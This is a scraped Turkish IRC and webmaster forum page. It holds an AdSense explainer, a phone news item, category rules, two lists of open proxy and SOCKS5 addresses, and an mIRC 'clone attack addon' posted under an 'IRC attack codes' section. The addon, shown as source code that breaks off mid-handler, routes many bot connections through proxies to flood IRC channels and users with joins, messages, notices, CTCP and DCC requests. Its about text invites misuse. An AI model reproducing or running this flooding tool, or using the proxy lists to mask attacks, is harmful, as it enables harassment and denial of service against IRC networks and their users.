| Hoşgeldin, Ziyaretçi |
Sitemizden yararlanabilmek için Kayıt olmalısınız.
|
| Kimler Çevrimiçi |
Toplam: 89 kullanıcı aktif
» 0 Kayıtlı
» 89 Ziyaretçi
|
|
|
| Bügünki Konumuz Google Adsense Nedir |
|
Yazar: Admin - 02-21-2020, 03:11 AM - Forum: Google Admob ve Adsense
- Yorum Yok
|
 |
Bügünki Konumuz Google Adsense Nedir
Google’nin en önemli hizmetlerinden biridir.Site sahipleri Google Adsense sayesinde sitelerinde Google Reklamlarını yayınlayabilir,hitine ve tıklanma oranına göre Google’dan parasını alabilir.
Şu iki servisi karıştırmayalım önce;
Google Adsense : Google’dan reklam alma
Google Adwords : Google’ye reklam verme
Kısacası buradan çıkardığımız sonuç Google Adsense yayıncıları,Google Adwords reklam verenlerinin reklamlarını yayınlarlar.Google Adsense yayıncıları Google’dan para alır,Google Adwords reklam verenleri hit karşılığında Google’ye para öderler.
Eğer bir web siteniz var,ve o siteden para kazanmak istiyorsanız hemen İndirme linklerini görebilmek için sitemize üye ol manız veya giriş yapmanız gerekiyor.Sitemize üyelikler ücretsizdir!ı‘na tıklayın.Yeni reklam yayıncıları alınmaya devam ediyor,ancak her site burada olacak diye bir kaide yok tabiki.Başvuru yaptığınız hesaplar Google Adsense editörleri tarafından incelenir,uygun bilgiler sonrası hesabınızı kabul ederler.Tabiki reddetme gibi bir durumda söz konusu.
Google Adsense’de çeşitli reklam seçenekleri vardır. Bu reklam seçeneklerine gelince ;
İçerik İçin AdSense
Burası en populer reklam seçeneğidir.Kullanıcıların bir çoğu reklamları buradan seçer.Bu bölümde gelişmiş seçenekler vardır.Örneğin tercihinize göre Görsel ya da Text reklam yayınlayabilirsiniz.Ya da ikisini aynı anda yayınlayabilirsiniz.Ayrıca Text reklamlar için kendinize özel reklam paletide hazırlayabilirsiniz.
Ayrıca buraya tıkladığınız zaman ‘Bağlantı birimi’ adında bir reklam seçeneği ile karşılaşacaksınız.Burası Google Adsense’nin açıklamasına göre sitenizle alakalı bağlantıları gösterir.Ziyaretci bu bağlantılara tıkladığı zaman içeriği birbirine yakın bir reklam menüsü ile karşılaşır.
Arama İçin Adsense
Bu reklam seçeneğinde bizzat Google’nin reklamını yapmış olursunuz.Sitenizin her hangi bir yerine Google Adsense’nin size bu reklam seçeneği ile ilgili kodu yayınladığınız zaman Google’ye özel bir palet oluşur sitenizde ve siteniz üzerinden ziyaretcilerinize küçük bir Google Arama Motoru oluşturursunuz.
Buradaki reklam seçeneğinin Google Adwords ile hiçbir alakası yoktur.Tamamen Google’nin kendi reklamıdır.Ve palet içerisinde ‘Google’ye Özel Arama’ yazısıyla karşılaşır ziyaretcileriniz.
Beslemeler İçin Adsense
Bu reklam seçeneği gayet basittir.Bir Adsense hesabınız var ise panelinizden de görebileceğiniz gibi bir ‘RSS’ iconu vardır.Bu da demek oluyor ki halk arasında ‘Sitenin basit arayüzü’ olarak bilinen RSS’lere reklam ekleyebilirsiniz.Pek yaygın olmayan bir reklam seçeneğidir.
Etki Alanı İçin Adsense
Google Adsense diyorki; Reklamları eklemek istediğiniz,kazanç elde etmek istediğiniz ve geliştirilmemiş bir özel alanınız var ise burası tam size göre.Burada basit bir kural vardır,sadece 1500 alan ekleyebilirsiniz.Alanlarınızı oluşturduktan sonra buradaki Reklam Yöneticisine ekliyoruz alanımızı ve kendimize özel reklamımızı hazırlıyoruz.
Google Adsense Kuralları
Google Adsense’nin en çok dikkat ettiği kural ‘Kullanıcıyı Reklamlara Teşvik Etme’dir.Örneğin reklamın yanında,üstünde ve ya altında ‘Lütfen Reklama Tıklayınız’ , ‘Reklama Tıklamazsanız Üyeliğiniz Aktif Olmaz’ , ‘Linkleri Görmek İçin Reklama Tıklayın’ gibisinden yazılar direkt Google Adsense’den ban sebebidir.
Geçersiz Tıklamalar : Google Adsense’nin altın kurallarından biriside budur.Reklam Yayıncısı,daha fazla kazanmak için bazı hilelere başvurabilir.Google Adsense bu hilelere kanmadığını defalarca göstermiştir ve hile yapanları sorgusuz banlamıştır.Amaç, kendileri ve Adwords yayıncısının parasını korumaktır.
Site İçeriği : Google Adsense, Mp3,VVarez,Adult gibi sitelere asla reklam vermez.Ancak adult sitelerin reklamını alır.En çokta burada eleştiri alır.
Reklam Yerleşimi : Google Adsense’nin yeni getirisi şudur ve bu sistem otomatik olarak devreye girer; bir sayfada 1 Arama İçin Adsense, 3 İçeriğe göre Adsense olmalıdır ve daha fazlası zaten kendiliğinden görünmez.
Google Adsense’nin en çok önemsediği kurallar bunlardır,ve bu kuralları
uyguladığınız taktirde bir sorun teşkil etmeyecektir.
Sitemde istemediğim reklamlar var,ya da Adult Reklamlar var bunun önüne nasıl geçerim ?
Gayet basittir.Google Adsense’nin reklam filtresi vardır ve istemediğiniz reklamları sitenizde göstermeyebilirsiniz.AdSense Kurulumu, Rekabetçi Reklam Filtresi seçeneğinden istemediğiniz reklam verenin URL’sini ekleyebilirsiniz ve bu değişiklikten 4-5 saat sonra istemediğiniz reklamlar bir daha sitenizde görünmez.
Neye göre kazanıyoruz ?
Her kelimenin kendisine göre bir değeri vardır.Google Adwords reklam verenleri kendi verdiği reklamların fiyatlarını da belirleme hakkına sahiptir.Türkçe içeriklerin pek kazandırmadığı açıkca bilinen bir gerçek.Bu yüzden Türk webmasterların İngilizce içerikli Web Sitesi kurmasının nedenlerinden biriside bu.
Birden fazla site ekleyebilir miyim ?
Evet eklerisiniz.AdSense Kurulumu > Kanallar sekmesinde sitelerinizi ekleyebilirsiniz.
Altın Kural ; ‘Doğru Adres Vermek ‘
Google Adsense kayıt sırasında sizden ev adresinizi isteyecektir.Burada yanlış bilgi verdiğiniz taktirde kazancınız elinize geçmeyecektir.Buradaki nedene gelince , Google Adsense hesap aktivitesi için evinize bir kart gönderecektir.Burada PIN kodu verilecektir ve bu PIN kodunu Banka Hesap Bilgileriyle birlikte eklediğiniz taktirde ödemeleriniz her ay gerçekleştirilecektir.
Sürekli kazanmanın ‘Tek Yolu’
Google Adsense diyorki dürüst olun,kural ihlali yapmadığınız sürece sürekli kazanırsınız.Ancak bilindiği üzere Google Adsense hiçbir zaman hakkını kimseye yedirmemiştir ve her zaman kurallarını katı bir şekilde uygulayıp haksız kazancı engellemiştir.
|
|
|
| Türkiye’de bu telefonlar Google kullanamayacak! |
|
Yazar: Admin - 02-21-2020, 03:02 AM - Forum: Arama Motorları Haberleri
- Yorum Yok
|
|
Türkiye’de bu telefonlar Google kullanamayacak!
Google ile Rekabet Kurumu arasında yaşanan anlaşmazlık, yeni çıkan android işletim sistemine sahip akıllı telefonlarda Google ve ürünlerinin kullanılamaması durumunu ortaya çıkardı. İki kurum arasındaki anlaşmazlık aşılamazsa daha önce Huawei'in başına gelen durumun benzeri yeni android telefonlarda da baş gösterecek gibi gözüküyor. Anlaşmanın yapılıp yapılmayacağı henüz belli olmamakla birlikte menfi bir durum olması halinde hangi telefonların Google ve ürünlerini kullanamayacağını sizler için derledik. İşte o telefonlar…
Google ile Rekabet Kurumu'nun arasında yaşanan anlaşmazlık, yeni çıkan Android işletim sistemli akıllı telefonlarda Google uygulamalarının kullanılamayacak olmasıyla sonuçlandı. Şu an anlaşma yapılacak mı, yapılmayacak mı bilmiyoruz. Fakat bu şekilde devam ederse bir çok akıllı telefon Google Chrome, Youtube, Gmail, Google Play ve Analytics gibi önemli uygulamaları kullanamayacak. Google uygulamalarının önemini, Huawei Mate 30 serisinin başına gelenleri hatırlayarak daha iyi bir şekilde anlayabiliriz. Biz de sizler için, bu anlaşmazlığın doğrultusunda Google uygulamalarının hangi telefonlarda kullanılamayacağını belirtelim istedik. İndirme linklerini görebilmek için sitemize üye ol manız veya giriş yapmanız gerekiyor.Sitemize üyelikler ücretsizdir!
Essential Project Gem
Huawei P40 serisi(ABD yasağı nedeniyle)
Microsoft Surface Duo
Nokia 10
One Plus 8
Samsung Fold 2
Samsung Galaxy Note 11
Samsung Galaxy S11
Xiaomi Mi 10
Xiomi Mi Mix Flex
|
|
|
|
| Bu Kategori Nedir? Ne Değildir? |
|
Yazar: Admin - 02-21-2020, 02:49 AM - Forum: Web Sitelerinden Son Haberler
- Yorum Yok
|
|
Web kategorisinde eksik olan bir kategoriyi daha hizmete açtık bu kategorimizin adı Web Sitelerinden Son Haberler peki bu kategori nedir?Bu kategori de ne tür konuları paylaşabilirsiniz?
Bu kategori de sitenizde olan yönetici ihtiyaçlarınız ile ilgili konular açabilirsiniz
Bu kategoride sitenize yeni eklediğiniz kısımları duyurabilirsiniz. (Örnek LAMERLER.COM video bölümü açılmıştır gibi.)
Uyarı: 2. madde kapsamında açacağınız konuları İndirme linklerini görebilmek için sitemize üye ol manız veya giriş yapmanız gerekiyor.Sitemize üyelikler ücretsizdir! linkine uygun olarak açınız.
Bu kategoride sitenizin yenilediğiniz tanıtımı hakkında konu açabilirsiniz.
Bu kategori ne değildir ve ne tür konular buraya açılmaz
Sitenizin google'daki durumu hakkında buraya konu açamazsınız. Bunun için Kelimelere göre googledaki gelişmeler kategorimizi
kullanınız.
IRC sunucularınıza oper, dj, helper vs. aramak ve irc sunucunuza link almak için bu kategoriye konu açamazsınız. Bunun için Sunucu
Duyuruları - Görev / Yetki Dağıtımları kategorimizi kullanınız.
Web sitenize ücretli ya da ücretsiz herhangi bir düzenleme ve ya tasarım yaptırmak için bu kategoriyi kullanamayınız. Bunun için İş verenler kategorimizi kullanınız.
Bu başlık altında mirc script tanıtımlarınız için bu başlığı kullanmayınız. Bunun için mIRC Script Tanıtımları kategorimizi kullanınız.
Bu başlık altında online oyun sunucularının tanıtımı yasaktır. (Counter Strike, Knight Online vs. oyunların serverleri) Bunun için Online Oyunlar kategorimizi kullanınız.
Bu başlık altında sponsor firmalarının (adtech,adnet vs.) sitelerinin tanıtımı yasaktır. Bunun için İnternet'ten Para Kazanmanın Yolları kategorimizi kullanınız.
Bu kategori de tanıtımı yasak siteler web site tanıtım bölümümüz de tanıtımı yasak olarak geçen sitelerin bu bölümde de konusunun açılması yasaktır. LAMERLER.COM - IRC Sunucu sahipleri ve kullanıcıları buluşma noktası - Duyuru : Web Site Tanıtımı
LAMERLER.COM Reklamlar
|
|
|
|
21,02,2020 Proxy List |
|
Yazar: Lamer - 02-20-2020, 10:37 PM - Forum: GÜNCEL PROXY SOCK4 SOCK5 LİSTESİ
- Yorum Yok
|
 |
185.25.206.172:3128
104.248.1.178:8080
159.65.221.85:8080
163.172.190.160:8811
163.172.148.62:8811
163.172.146.119:8811
163.172.189.32:8811
163.172.147.94:8811
104.237.134.83:3128
173.212.216.52:3128
185.25.206.172:8080
163.172.180.18:8811
185.56.8.180:80
123.200.0.10:80
123.200.0.11:80
189.240.124.61:8080
121.237.149.158:3000
178.128.28.54:3128
116.196.85.166:3128
200.73.129.85:3128
113.53.230.167:80
178.128.180.222:3128
119.41.236.180:8010
124.205.11.245:8888
200.89.178.196:80
200.89.178.216:80
190.107.30.64:3128
206.189.113.118:8080
114.139.34.116:8118
128.199.151.68:8080
118.69.50.154:443
118.69.50.154:80
101.4.136.34:80
125.24.61.111:8080
37.18.79.41:3128
34.83.108.137:3128
200.89.178.196:8080
200.89.178.210:8080
200.89.178.214:8080
183.146.213.198:80
200.89.178.216:8080
200.89.178.231:80
217.69.1.242:3128
200.89.178.209:8080
51.158.108.135:8811
200.89.178.210:80
200.89.178.219:80
200.89.178.209:80
51.15.246.92:3128
51.158.114.177:8811
36.25.243.51:80
34.90.113.143:3128
51.158.68.133:8811
51.158.99.51:8811
51.158.123.250:8811
36.25.243.251:80
200.89.178.209:3128
184.82.24.149:8080
51.158.119.88:8811
51.158.111.229:8811
51.158.78.107:8811
51.158.68.68:8811
51.158.113.142:8811
51.158.106.54:8811
218.75.158.153:3128
77.68.4.202:80
80.187.140.26:8080
183.146.213.157:80
190.103.178.8:8080
221.180.170.104:8080
218.26.178.22:8080
95.217.57.2:8080
39.137.95.72:8080
39.137.69.6:80
39.137.95.74:80
51.158.68.26:8811
200.89.178.214:3128
39.137.107.98:8080
52.80.58.248:3128
54.94.166.1:3128
91.134.180.0:3128
59.56.28.199:80
200.89.178.231:8080
59.56.28.198:80
59.56.28.254:80
47.94.220.11:3128
182.52.137.19:8080
51.158.98.121:8811
51.158.120.84:8811
162.243.163.15:3128
51.158.123.35:8811
|
|
|
|
|
21,02,2020 SOCKS 5 Proxy List |
|
Yazar: Lamer - 02-20-2020, 10:34 PM - Forum: GÜNCEL PROXY SOCK4 SOCK5 LİSTESİ
- Yorum Yok
|
|
Kod: 103.241.227.98:6667
66.110.216.105:39431
192.241.187.83:31650
72.11.148.222:56533
95.216.173.76:9050
216.144.228.130:15378
184.178.172.25:15291
13.230.139.217:80
202.107.233.123:3009
106.14.222.35:54456
198.12.154.22:12451
166.62.85.161:29599
106.14.222.35:53966
106.14.222.35:54346
106.14.222.35:53962
106.14.222.35:53926
106.14.222.35:54474
106.14.222.35:54580
106.14.222.35:55774
106.14.222.35:54494
106.14.222.35:56823
106.14.222.35:57383
106.14.222.35:57253
106.14.222.35:57411
106.14.222.35:57793
106.14.222.35:57693
106.14.222.35:55872
106.14.222.35:57731
106.14.222.35:57371
106.14.222.35:57667
106.14.222.35:57985
106.14.222.35:58371
72.221.164.35:60670
47.100.106.114:61974
47.100.106.114:61828
95.216.173.76:9050
70.183.39.3:25012
|
|
|
|
CLONE SALDIRI ADDONU |
|
Yazar: Admin - 02-20-2020, 09:54 PM - Forum: İRC SALDIRI KODLARI
- Yorum Yok
|
|
CLONE SALDIRI ADDONU
Kod: Alias Clone {
If ($Dialog(Clone)) { Dialog -v Clone }
Else { Dialog -md Clone Clone }
}
dialog Clone {
title "Clone Mirc"
size -1 -1 577 512
option pixels
tab "Ayarlar", 75, 8 8 559 463
tab "Botlar/Islemler", 76
tab "Proxy Listesi", 97
tab "Hakkinda", 90
box "Ayarlar", 1, 16 40 540 420, tab 75
edit "irc.siteadı.com", 2, 66 51 232 20, tab 75 autohs
text "Sunucu", 3, 24 56 34 16, tab 75
edit "6667", 4, 300 51 48 20, tab 75 limit 0
text "Protokol", 5, 23 100 42 16, tab 75
combo 6, 66 96 80 68, tab 75 size drop
box "Connect", 7, 24 281 332 171, tab 75
box "Nick, ident ve realname ayarlari", 8, 25 121 332 160, tab 75
text "Baglanti Sayisi:", 9, 149 100 74 16, tab 75
edit "", 10, 223 96 44 20, tab 75 limit 0
radio "Rastgele", 11, 32 136 64 20, tab 75
radio "Liste:", 12, 32 160 54 20, tab 75
radio "Diger:", 13, 32 184 54 20, tab 75
edit "", 14, 88 160 196 20, tab 75 disable autohs
edit "", 15, 88 184 196 20, tab 75 disable limit 0
button "&Yukle", 16, 288 160 58 20, tab 75 disable
text "Mode:", 17, 127 140 31 16, tab 75
edit "+iwTx", 18, 160 137 70 20, tab 75
edit "", 19, 32 312 316 132, tab 75 autohs autovs multi return
text "IRC Raw Komutlari (Baglandiginda islenecek):", 20, 32 296 225 16, tab 75
box "Proxy/Socks Listesi", 26, 360 56 188 396, tab 75
edit "kodnjwfnrqsjzuw", 85, 88 208 260 21, tab 75 autohs limit 0
text "Host:", 27, 368 80 26 16, tab 75
text "Port:", 28, 368 104 26 16, tab 75
edit "", 29, 400 78 140 20, tab 75 limit 0
edit "", 30, 400 102 140 20, tab 75 limit 0
button "&Ekle", 31, 368 128 82 20, tab 75
button "&Sil", 32, 456 128 82 20, tab 75
button "&Dosya Yukle", 33, 368 152 82 20, tab 75
list 34, 368 176 172 238, tab 75 size
button "&Listeyi Sil", 35, 368 418 170 24, tab 75
check "CTCP Tekrari", 81, 273 98 84 20, tab 75
text "Real Name:", 82, 32 211 56 16, tab 75
button "&Clipboard", 83, 456 152 82 20, tab 75
box "Botlara islem yaptirmak icin bu alani kullaniniz.", 36, 176 39 380 420, tab 76
box "Nick Listesi", 37, 16 40 156 356, tab 76
button "&Gir", 41, 184 62 67 20, tab 76 disable
edit "", 42, 256 62 84 21, tab 76 autohs
button "&Cik", 43, 184 86 67 20, tab 76 disable
edit "", 44, 256 86 84 21, tab 76 autohs
edit "", 45, 344 86 204 21, tab 76 autohs
button "&Gir/Cik", 46, 184 110 67 20, tab 76 disable
edit "", 47, 256 110 84 21, tab 76 autohs
edit "", 48, 344 110 204 21, tab 76 autohs
button "&Mesaj", 49, 184 142 67 20, tab 76 disable
edit "", 50, 256 142 84 21, tab 76 autohs
edit "", 51, 344 142 204 21, tab 76 autohs
button "&Notice", 52, 184 166 67 20, tab 76 disable
edit "", 53, 256 166 84 21, tab 76 autohs
edit "", 54, 344 166 204 21, tab 76 autohs
button "&Describe", 55, 184 190 67 20, tab 76 disable
edit "", 56, 256 190 84 21, tab 76 autohs
edit "", 57, 344 190 204 21, tab 76 autohs
button "&CTCP", 58, 184 222 67 20, tab 76 disable
edit "", 59, 256 222 84 21, tab 76 autohs
combo 60, 344 222 204 76, tab 76 edit size drop
button "&DCC Send", 61, 184 246 67 20, tab 76 disable
edit "", 62, 256 246 84 21, tab 76 autohs
edit "", 63, 344 246 204 21, tab 76 autohs
button "&DCC Chat", 64, 184 270 67 20, tab 76 disable
edit "", 65, 256 270 84 21, tab 76 autohs
button "&Nick", 66, 184 294 67 20, tab 76
radio "Liste:", 68, 256 320 54 20, tab 76
radio "Diger:", 69, 256 344 54 20, tab 76
radio "Rastgele", 67, 256 296 66 20, tab 76
button "&Yukle", 72, 480 320 67 20, tab 76 disable
edit "", 70, 312 320 164 21, tab 76 disable autohs
edit "", 74, 256 374 292 77, tab 76 autohs autovs multi return
button "&Raw", 73, 184 374 67 20, tab 76 disable
edit "", 71, 312 344 164 21, tab 76 disable limit 0
list 38, 24 56 140 308, tab 76 size extsel
text "Icraat :d", 39, 24 370 46 16, tab 76
combo 40, 72 368 92 60, tab 76 size drop
box "Istatistikler", 21, 16 400 156 60, tab 76
text "Total Connections:", 23, 24 436 92 16, tab 76
text "Connected Clones:", 22, 24 420 92 16, tab 76
text "0", 24, 120 420 42 16, tab 76
text "0", 25, 120 436 42 16, tab 76
edit "", 98, 24 56 260 21, tab 97 autohs
button "&URL Ekle", 99, 288 56 67 20, tab 97
list 100, 24 80 332 340, tab 97 hsbar size
box "URL Listesi", 101, 16 40 348 420, tab 97
box "Proxies/Socks", 102, 368 40 188 316, tab 97
list 103, 376 56 172 244, tab 97 size
button "&Ver", 104, 465 306 84 20, tab 97
text "Completed:", 105, 368 392 58 16, tab 97
text "0", 106, 432 408 122 16, tab 97
button "&Listeye Bak", 107, 368 432 187 25, tab 97
button "&Proxy/Socks Listesini Goruntule", 109, 376 328 173 20, tab 97
text "Total Sites:", 110, 368 408 58 16, tab 97
text "0", 111, 432 392 122 16, tab 97
text "Socks/Proxies Taken:", 112, 368 368 106 16, tab 97
text "0", 113, 480 368 74 16, tab 97
button "&Sil", 108, 376 306 84 20, tab 97
button "&Secileni Sil", 114, 24 432 163 20, tab 97
button "&Hepsini Sil", 115, 192 432 163 20, tab 97
button "&Bagla", 77, 8 480 83 25
button "&Baglanti Kes", 78, 96 480 83 25
button "&Cikis", 79, 490 480 75 25
button "&Baglanan IP/Portlar", 80, 368 480 115 25
button "&Socketleri Kapat", 84, 184 480 87 25
edit "biliyorsanyaz ", 86, 66 74 283 20, tab 75 autohs limit 0
edit "Mobil", 88, 272 137 75 20, tab 75 limit 9
text "Identd:", 87, 233 140 38 16, tab 75
text "Sifre", 89, 25 76 34 16, tab 75
link "BaGerhat", 91, 391 9 90 17,
link "", 94, 487 9 79 17,
edit "0", 96, 192 260 17 20, tab 75
text "Baglanirken agresif baglanmamak icin bu bolumu 1 yapin. Eger sunucuda koruma yoksa 0 yapiniz.", 116, 32 230 319 29, tab 75 center
text "Baglanti gecikmesi", 95, 104 262 88 17, tab 75
text "saniye.", 117, 211 262 39 17, tab 75
box "/CLONE", 118, 18 34 541 102, tab 90
text "Arkadaslar kullanimi basit olan proxy clone addonudur. Kotu amaclariniza alet edebilirsiniz. Cunku gunumuzde artik bu addonun onune gecilebilir. :d Dilediginiz gibi kullanabilirsiniz. Yapmaniz gerekenler basittir. Hersey goz onunde zaten.", 119, 64 50 440 42, tab 90 center
text "Yinede kullanmayi beceremeyenler bana ulasabilirler. :d", 120, 64 95 440 16, tab 90 center
text "BaGerhat | | ", 121, 64 114 440 16, tab 90 center
}
On *:Dialog:Clone:Init:*: {
Did -a $DName 6 Normal
Did -a $DName 6 Proxy
Did -a $DName 6 Sock
Did -c $DName 6 2
Did -a $DName 40 Hepsi
Did -a $DName 40 Secilen(ler)
Did -c $DName 40 1
Did -a $DName 60 PING
Did -a $DName 60 TIME
Did -a $DName 60 VERSION
Did -c $DName 11
Did -c $DName 67
}
On *:Dialog:Clone:Edit:*: {
If ($Did == 42) {
If ($Left($Did(42),1) == $Chr(35)) && ($Count($Did(42),$Chr(32)) <= 1) { Did -e $DName 41 }
Else { Did -b $DName 41 }
}
If ($Did == 44) {
If ($Left($Did(44),1) == $Chr(35)) && ($Count($Did(44),$Chr(32)) == 0) { Did -e $DName 43 }
Else { Did -b $DName 43 }
}
If ($Did == 47) {
If ($Left($Did(47),1) == $Chr(35)) && ($Count($Did(47),$Chr(32)) == 0) { Did -e $DName 46 }
Else { Did -b $DName 46 }
}
If ($Did == 50) {
If ($Count($Did(50),$Chr(32)) == 0) && ($Len($Did(50)) >= 1) && ($Did(51)) { Did -e $DName 49 }
Else { Did -b $DName 49 }
}
If ($Did == 51) {
If ($Count($Did(50),$Chr(32)) == 0) && ($Len($Did(50)) >= 1) && ($Did(51)) { Did -e $DName 49 }
Else { Did -b $DName 49 }
}
If ($Did == 53) {
If ($Count($Did(53),$Chr(32)) == 0) && ($Len($Did(53)) >= 1) && ($Did(54)) { Did -e $DName 52 }
Else { Did -b $DName 52 }
}
If ($Did == 54) {
If ($Count($Did(53),$Chr(32)) == 0) && ($Len($Did(50)) >= 1) && ($Did(54)) { Did -e $DName 52 }
Else { Did -b $DName 52 }
}
If ($Did == 56) {
If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(57)) { Did -e $DName 55 }
Else { Did -b $DName 55 }
}
If ($Did == 57) {
If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(57)) { Did -e $DName 55 }
Else { Did -b $DName 55 }
}
If ($Did == 59) {
If ($Count($Did(59),$Chr(32)) == 0) && ($Len($Did(59)) >= 1) && ($Did(60)) { Did -e $DName 58 }
Else { Did -b $DName 58 }
}
If ($Did == 60) {
If ($Count($Did(59),$Chr(32)) == 0) && ($Len($Did(59)) >= 1) && ($Did(60)) { Did -e $DName 58 }
Else { Did -b $DName 58 }
}
If ($Did == 62) {
If ($Count($Did(62),$Chr(32)) == 0) && ($Len($Did(62)) >= 1) && ($Left($Did(62),1) != $Chr(35)) && ($Did(63)) { Did -e $DName 61 }
Else { Did -b $DName 61 }
}
If ($Did == 63) {
If ($Count($Did(62),$Chr(32)) == 0) && ($Len($Did(62)) >= 1) && ($Left($Did(62),1) != $Chr(35)) && ($Did(63)) { Did -e $DName 61 }
Else { Did -b $DName 61 }
}
If ($Did == 65) {
If ($Count($Did(65),$Chr(32)) == 0) && ($Len($Did(65)) >= 1) && ($Left($Did(65),1) != $Chr(35)) { Did -e $DName 64 }
Else { Did -b $DName 64 }
}
If ($Did == 74) {
If ($Len($Did(74)) >= 1) { Did -e $DName 73 }
Else { Did -b $DName 73 }
}
If ($Did == 70) {
If ($Did(70)) { Did -e $DName 66 }
Else { Did -b $DName 66 }
}
If ($Did == 71) {
If ($Did(71)) { Did -e $DName 66 }
Else { Did -b $DName 66 }
}
}
Alias Clone.Error { Var %E = $Input($1-,o,Clone) }
On *:Dialog:Clone:SClick:*: {
If ($Did == 31) {
If (*.*.* iswm $Did(29)) && ($Did(30) <= 65535) && ($Did(30) >= 1) { Did -a $DName 34 $Did(29) $Did(30) }
Else { Clone.Error Invalid Sock/Proxy or Port }
}
If ($Did == 32) && ($Did(34).Sel) { Did -d $DName 34 $Did(34).Sel }
If ($Did == 33) {
Var %F = $SFile($mIRCDir,Clone,Import)
If (%F) {
Var %I = 1
While ($Read(%F,%I)) {
Var %F1 = $Read(%F,%I)
If ($Gettok(%F1,0,58) == 2) { Var %F1 = $Replace(%F1,$Chr(58),$Chr(32)) }
If ($Gettok(%F1,0,32) != 2) || ($Abs($Gettok(%F1,2,32)) == 0) { Clone.Error Invalid Sock/Proxy file | Return }
Else { Did -a $DName 34 %F1 }
Inc %I
}
}
}
If ($Did == 83) {
Var %I = 1
While ($CB(%I)) {
Var %F1 = $CB(%I)
If ($Gettok(%F1,0,58) == 2) { Var %F1 = $Replace(%F1,$Chr(58),$Chr(32)) }
If ($Gettok(%F1,0,32) != 2) || ($Abs($Gettok(%F1,2,32)) == 0) { Clone.Error Invalid Socks/Proxys in Clipboard | Return }
Else { Did -a $DName 34 %F1 }
Inc %I
}
}
If ($Did == 35) { Did -r $DName 34 }
If ($Did == 11) { Did -b $DName 14 | Did -b $DName 15 | Did -b $DName 16 }
If ($Did == 12) { Did -e $DName 14 | Did -b $DName 15 | Did -e $DName 16 }
If ($Did == 13) { Did -b $DName 14 | Did -e $DName 15 | Did -b $DName 16 }
If ($Did == 67) { Did -b $DName 70 | Did -b $DName 71 | Did -b $DName 72 | Did -e $DName 66 }
If ($Did == 68) {
Did -e $DName 70 | Did -b $DName 71 | Did -e $DName 72
If ($Did(70)) { Did -e $DName 66 }
Else { Did -b $DName 66 }
}
If ($Did == 69) {
Did -b $DName 70 | Did -e $DName 71 | Did -b $DName 72
If ($Did(71)) { Did -e $DName 66 }
Else { Did -b $DName 66 }
}
If ($Did == 16) {
Var %F = $SFile($mIRCDir,Clone,Import)
If (%F) { Did -ra $DName 14 %F }
}
If ($Did == 72) {
Var %F = $SFile($mIRCDir,Clone,Import)
If (%F) { Did -ra $DName 70 %F | Did -e $DName 66 }
}
If ($Did == 60) {
If ($Count($Did(59),$Chr(32)) == 0) && ($Len($Did(59)) >= 1) && ($Did(60)) { Did -e $DName 58 }
Else { Did -b $DName 58 }
}
if ($did == 91 ) { run mailto:namesis@live.com }
if ($did == 94 ) { run http://www.tryiz.com }
If ($Did == 41) { Clone.Do $Did(40) JOIN $Did(42) }
If ($Did == 43) { Clone.Do $Did(40) PART $Did(44) : $+ $Did(45) }
If ($Did == 46) { Clone.Do $Did(40) JOINPART $Did(47) : $+ $Did(48) }
If ($Did == 49) { Clone.Do $Did(40) PRIVMSG $Did(50) : $+ $Did(51) }
If ($Did == 52) { Clone.Do $Did(40) NOTICE $Did(53) : $+ $Did(54) }
If ($Did == 55) { Clone.Do $Did(40) PRIVMSG $Did(56) :ACTION $Did(57) $+ }
If ($Did == 58) { Clone.Do $Did(40) PRIVMSG $Did(59) : $+ $Did(60) $+ }
If ($Did == 61) { Clone.Do $Did(40) PRIVMSG $Did(62) :DCC SEND $Did(63) $Rand(0,4294967294) 1024 $Rand(10000,500000) $+ }
If ($Did == 64) { Clone.Do $Did(40) PRIVMSG $Did(65) :DCC CHAT chat $Rand(0,4294967294) 1024 }
If ($Did == 66) { Clone.Do $Did(40) NICK }
If ($Did == 73) {
Var %I = 1
While ($Did(74,%I)) { Clone.Do $Did(40) RAW $Did(74,%I) | Inc %I }
}
If ($Did == 77) {
If (!$Did(34,1)) && (($Did(6) == Proxy) || ($Did(6) == Sock)) { Clone.Error Enter $Did(6) to the $Did(6) list }
ElseIf (*.*.* !iswm $Did(2)) { Clone.Error Enter a valid Server }
ElseIf ($Did(4) <= 0) && ($Did(4) >= 65535) { Clone.Error Enter a valid Port }
ElseIf (!$Did(10)) || ($Did(10) !isnum) { Clone.Error Enter the number clones to connect }
ElseIf ($Did(12).State == 1) && ($Exists($Did(14)) == $False) { Clone.Error Nicklist doesnt Exist }
ElseIf ($Did(13).State == 1) && (!$Did(15)) { Clone.Error Enter a Nickname }
ElseIf ($Did(6) == Sock) && ($Remove($Did(2),.) !isnum) { .Enable #Clone.DNS | .DNS $Did(2) }
Else { .TimerClone.Go $Did(10) $Did(Clone,96) Clone.Go }
}
If ($Did == 78) { Did -r $DName 38 | Did -ra $DName 24 0 | Did -ra $DName 25 0 | SockClose Clone.* | Unset %Clone.* }
If ($Did == 79) { SockClose Clone.* | Dialog -x $DName }
If ($Did == 80) { Clone.IPs }
If ($Did == 84) {
Var %I = 1
While ($Sock(Clone.*,%I)) {
If (!$Sock(Clone.*,%I).Mark) { SockClose $Sock(Clone.*,%I) }
Inc %I
}
Did -ra Clone 25 $Sock(Clone.*,0)
}
If ($Did == 99) {
Did -a $DName 100 $Did(98)
Did -ra $DName 106 $Calc($Did(106) + 1)
}
If ($Did == 104) {
Var %F = $Input(Enter Filename:,ego,Clone)
If (%F) {
Var %I = 1
While ($Did(103,%I)) { Write %F $Did(103,%I) | Inc %I }
}
}
If ($Did == 107) {
Did -ra $DName 111 0
Var %I = 1
While ($Did(100,%I)) {
SockQueue CloneGet. [ $+ [ %I ] ] $Gettok($Remove($Did(100,%I),http://,www.),1,47) 80
Set %Clone.Get.URL. [ $+ [ %I ] ] $Gettok($Remove($Did(100,%I),http://,www.),1,47)
Set %Clone.Get.Ext. [ $+ [ %I ] ] $Iif($Gettok($Remove($Did(100,%I),http://,www.),2-,47),$Chr(47) $+ $Gettok($Remove($Did(100,%I),http://,www.),2-,47),$Chr(47))
Inc %I
}
}
If ($Did == 108) { Did -r $DName 103 }
If ($Did == 109) {
Did -r $DName 34
Var %I = 1
While ($Did(103,%I)) { Did -a $DName 34 $Replace($Did(103,%I),$Chr(58),$Chr(32)) | Inc %I }
}
If ($Did == 114) && ($Did(100).Sel) { Did -d $DName 100 $Did(100).Sel }
If ($Did == 115) { Did -r $DName 100 }
}
On *:SockOpen:CloneGet.*: {
